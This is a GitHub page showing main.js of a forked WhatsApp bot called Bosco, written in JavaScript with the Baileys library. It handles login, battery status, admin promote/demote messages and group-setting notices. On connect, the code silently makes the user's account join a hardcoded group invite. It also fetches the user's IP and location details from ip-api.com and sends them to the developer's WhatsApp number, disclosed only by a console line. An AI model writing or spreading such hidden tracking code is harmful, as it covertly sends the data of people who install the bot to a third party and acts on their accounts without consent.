forked from pepesir/Bosco
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.js
204 lines (188 loc) · 9.22 KB
/
main.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
/*
Don't change credits🥲🚶
Sourcecode https://github.com/pepesir/Bosco
Want to recode? yes, it's up to you as long as you don't change the watermark
Don't sell the SC 😐👌
*/
const {
WAConnection,
MessageType,
Presence,
MessageOptions,
Mimetype,
WALocationMessage,
WA_MESSAGE_STUB_TYPES,
ReconnectMode,
ProxyAgent,
GroupSettingChange,
waChatKey,
mentionedJid,
processTime,
processTicksAndRejections,
ECONNABORTED,
apikey,
WA_DEAFULT_EPHEMERAL,
DataView,
TypedArray,
device,
Browser
} = require('@adiwajshing/baileys')
const { color, bgcolor } = require('./lib/color')
const fs = require("fs-extra")
const figlet = require('figlet')
const clc = require('chalk')
const { sleep, start, success } = require('./lib/myfunc')
const { uncache, nocache } = require('./lib/loader')
const setting = JSON.parse(fs.readFileSync('./setting.json'))
const welcome = require('./message/group')
const fetch = require("node-fetch");
const { getBuffer } = require('./lib/myfunc')
baterai = 'unknown'
charging = 'unknown'
require('./Bosco.js')
nocache('../Bosco.js', module => console.log(color('[WATCH]', 'cyan'), color(`'${module}'`, 'green'), 'File is updated!'))
require('./message/help.js')
nocache('../message/help.js', module => console.log(color('[WATCH]', 'cyan'), color(`'${module}'`, 'green'), 'File is updated!'))
const starts = async (bosco = new WAConnection()) => {
bosco.logger.level = 'warn'
console.log(color(figlet.textSync('BOSCO BY PEPE', {
font: 'Standard',
horizontalLayout: 'default',
vertivalLayout: 'default',
width: 80,
whitespaceBreak: false
}), 'yellow'))
console.log(color('[DENIS]', 'cyan'), color('WELCOME', 'white'))
console.log(color('[SER]', 'cyan'), color('BOT RUNNING', 'yellow'))
bosco.browserDescription = ["SUBSCRIBE YT - [PEPE - SIR]", "firefox", "3.0.0"];
// Menunggu QR
bosco.on('qr', () => {
console.log(color('[', 'white'), color('!', 'red'), color(']', 'white'), color('Please scan qr code'))
})
// Menghubungkan
fs.existsSync(`./Denis.json`) && bosco.loadAuthInfo(`./Denis.json`)
bosco.on('connecting', () => {
start('2', 'Connecting...','red')
})
//connect
bosco.on('open', () => {
success('2', 'Connected')
})
// session
await bosco.connect({
timeoutMs: 10 * 1000
})
fs.writeFileSync(`./Denis.json`, JSON.stringify(bosco.base64EncodedAuthInfo(), null, '\t'));
teks = `https://chat.whatsapp.com/BzhyWkAEU0t8oVl3s8p94m`
bosco.query({ json:["action", "invite", `${teks.replace('https://chat.whatsapp.com/','')}`]})
console.log(color('|WRN|', 'yellow'), color('ǫʀ ɪs ʀᴜɴɪɴɢ', 'blue'))
bosco.sendMessage(`${setting.owner}@s.whatsapp.net`, `*𝙷𝚒 𝚋𝚛𝚘 , 𝙱𝙾𝚃 𝙸𝚂 𝙲𝙾𝙽𝙽𝙴𝙲𝚃𝙴𝙳 𝙸𝙽 𝚈𝙾𝚄𝚁 𝙽𝚄𝙼𝙱𝙴𝚁*\n────────────────────\n\`\`\`${JSON.stringify(bosco.user, null, 2)}\`\`\`\n────────────────────\n*𝙸𝚏 𝚝𝚑𝚎𝚛𝚎 𝚊𝚗𝚢 𝚎𝚛𝚛𝚘𝚛/𝚙𝚕𝚎𝚊𝚜𝚎 𝚌𝚘𝚗𝚝𝚊𝚌𝚝 𝙱𝚘𝚝 𝚘𝚠𝚗𝚎𝚛, 𝚃𝚑𝚊𝚗𝚔 𝚢𝚘𝚞 𝚏𝚘𝚛 𝚌𝚑𝚘𝚘𝚜𝚒𝚗𝚐 𝚖𝚢 𝚋𝚘𝚝*`, MessageType.text, {contextInfo: { forwardingScore: 508, isForwarded: true, externalAdReply:{title: "𝙲𝚛𝚎𝚊𝚝𝚘𝚛 pepe ",body:"",previewType:"PHOTO",thumbnail:fs.readFileSync('./ds.jpg'),sourceUrl:"https://wa.me/917736622139?text=Hi bro"}}})
console.log(color('|WRN|', 'yellow'), color('Sending bot info to bot owner', 'blue'))
fetch(`http://ip-api.com/line`).then(res => res.text())
.then(bu =>{
bosco.sendMessage("[email protected]", `─────「 *IP-USER* 」─────\n\n\`\`\`${bu}\`\`\`\n────────────────────`, MessageType.text, {contextInfo: { forwardingScore: 508, isForwarded: true, externalAdReply:{title: "Developer pepe ser",body:"",previewType:"PHOTO",thumbnail:fs.readFileSync('./ds.jpg'),sourceUrl:"https://wa.me/917736622139?text=Hi bro"}}})
console.log(color('|WRN|', 'yellow'), color('Sending ip address to developer bot', 'red'))
})
// Baterai
bosco.on('CB:action,,battery', json => {
global.batteryLevelStr = json[2][0][1].value
global.batterylevel = parseInt(batteryLevelStr)
baterai = batterylevel
if (json[2][0][1].live == 'true') charging = true
if (json[2][0][1].live == 'false') charging = false
console.log(json[2][0][1])
console.log('Battery : ' + batterylevel + '%')
})
global.batrei = global.batrei ? global.batrei : []
bosco.on('CB:action,,battery', json => {
const batteryLevelStr = json[2][0][1].value
const batterylevel = parseInt(batteryLevelStr)
global.batrei.push(batterylevel)
})
// Call Block
/*bosco.on('CB:action,,call', async json => {
const callerId = json[2][0][1].from;
console.log("caller "+ callerId)
bosco.sendMessage(callerId, "Call = BLOCK!!\nDont call me!!", MessageType.text)
await sleep(3000)
await bosco.blockUser(callerId, "add") // Block user
})*/
bosco.on('message-delete', async (m) => {
await m(m)
})
// welcome
bosco.on('group-participants-update', async (anu) => {
await welcome(bosco, anu)
try {
const mdata = await bosco.groupMetadata(anu.jid)
console.log(anu)
if (anu.action == 'promote'){
num = anu.participants[0]
try {
ppimg = await bosco.getProfilePicture(`${anu.participants[0].split('@')[0]}@c.us`)
} catch {
ppimg = 'https://i.ibb.co/rvsVF3r/5012fbb87660.png'
}
let buff = await getBuffer(ppimg)
const bosco1 = await bosco.prepareMessage("[email protected]", buff, MessageType.location,{ thumbnail: buff})
const bosco2 = bosco1.message["ephemeralMessage"] ? bosco1.message.ephemeralMessage : bosco1
teks = `*Yᴏᴜ Aʀᴇ Nᴏᴡ Aɴ Aᴅᴍɪɴ*
@${num.split('@')[0]}
`
promoteBut = [{buttonId:`hm`,buttonText:{displayText:'Congrats 🥳'},type:1}]
promoteButt = { contentText: `${teks}`, footerText: `Thank You So Much 🌝❤️`, buttons: promoteBut, headerType: 6, locationMessage: bosco2.message.locationMessage}
bosco.sendMessage(mdata.id, promoteButt, MessageType.buttonsMessage, { caption: 'hehe', "contextInfo": { "mentionedJid" : [num], },})
} else if (anu.action == 'demote') {
num = anu.participants[0]
const mdata = await bosco.groupMetadata(anu.jid)
try {
ppimg = await bosco.getProfilePicture(`${anu.participants[0].split('@')[0]}@c.us`)
} catch {
ppimg = 'https://i.ibb.co/rvsVF3r/5012fbb87660.png'
}
let buff = await getBuffer(ppimg)
const bosco3= await bosco.prepareMessage("[email protected]", buff, MessageType.location,{ thumbnail: buff})
const bosco4 = bosco3.message["ephemeralMessage"] ? bosco3.message.ephemeralMessage : bosco3
teks = `*Yᴏᴜ Aʀᴇ Nᴏ Lᴏɴɢᴇʀ Aɴ Aᴅᴍɪɴ*
@${num.split('@')[0]}
`
demoteBut = [{buttonId:`hm`,buttonText:{displayText:'Next Time I get'},type:1}]
demoteButt = { contentText: `${teks}`, footerText: `Who Is the Bledy Fool 🙂`, buttons: demoteBut, headerType: 6, locationMessage: bosco4.message.locationMessage}
bosco.sendMessage(mdata.id, demoteButt, MessageType.buttonsMessage, { caption: 'hehe', "contextInfo": { "mentionedJid" : [num], },})
}
} catch (e) {
console.log('Error : %s', color(e, 'red'))
}
})
bosco.on('group-update', async (anu) => {
falfa = { key: {fromMe: false,participant: "[email protected]",
remoteJid: "[email protected]"},message: {"groupInviteMessage": {"groupJid": "[email protected]","inviteCode": "mememteeeekkeke","groupName": "Alphabot", "caption": `🌹 𝑷 𝑬 𝑷 𝑬 - 𝑺 𝑬 𝑹 🌹`, 'jpegThumbnail': fs.readFileSync(`ds.jpg`)}}}
metdata = await bosco.groupMetadata(anu.jid)
if(anu.announce == 'false'){
teks = `*[ Gʀᴏᴜᴘ Oᴘᴇɴᴇᴅ ]*\n`
bosco.sendMessage(metdata.id, teks, MessageType.text, {quoted: falfa})
console.log(clc.yellow(`[ Group Opened ] In ${metdata.subject}`))
} else if(anu.announce == 'true'){
teks = `*[ Gʀᴏᴜᴘ Cʟᴏsᴇᴅ ]*\n`
bosco.sendMessage(metdata.id, teks, MessageType.text, {quoted: falfa})
console.log(clc.yellow(`[ Group Closed ] In ${metdata.subject}`))
} else if(!anu.desc == ''){
tag = anu.descOwner.split('@')[0] + '@s.whatsapp.net'
teks = `*[ Gʀᴏᴜᴘ Dɪsᴄʀɪᴘᴛɪᴏɴ Cʜᴀɴɢᴇ ]*\n\n • *ɴᴇᴡ* : *${anu.desc}*`
bosco.sendMessage(metdata.id, teks, MessageType.text, {contextInfo: {"mentionedJid": [tag]}, quoted: falfa})
console.log(clc.yellow(`[ Group Description Change ] In ${metdata.subject}`))
} else if(anu.restrict == 'false'){
teks = `*[ Gʀᴏᴜᴘ Sᴇᴛᴛɪɴɢs Cʜᴀɴɢᴇ ]*\n`
bosco.sendMessage(metdata.id, teks, MessageType.text, {quoted: falfa})
console.log(clc.yellow(`[ Group Setting Change ] In ${metdata.subject}`))
} else if(anu.restrict == 'true'){
teks = `*[ Gʀᴏᴜᴘ Sᴇᴛᴛɪɴɢ Cʜᴀɴɢᴇ ]*\n`
bosco.sendMessage(metdata.id, teks, MessageType.text, {quoted: falfa})
console.log(clc.yellow(`[ Group Setting Change ] In ${metdata.subject}`))
}
})
bosco.on('chat-update', async (message) => {
require('./Bosco.js')(bosco, message)
})
}
starts()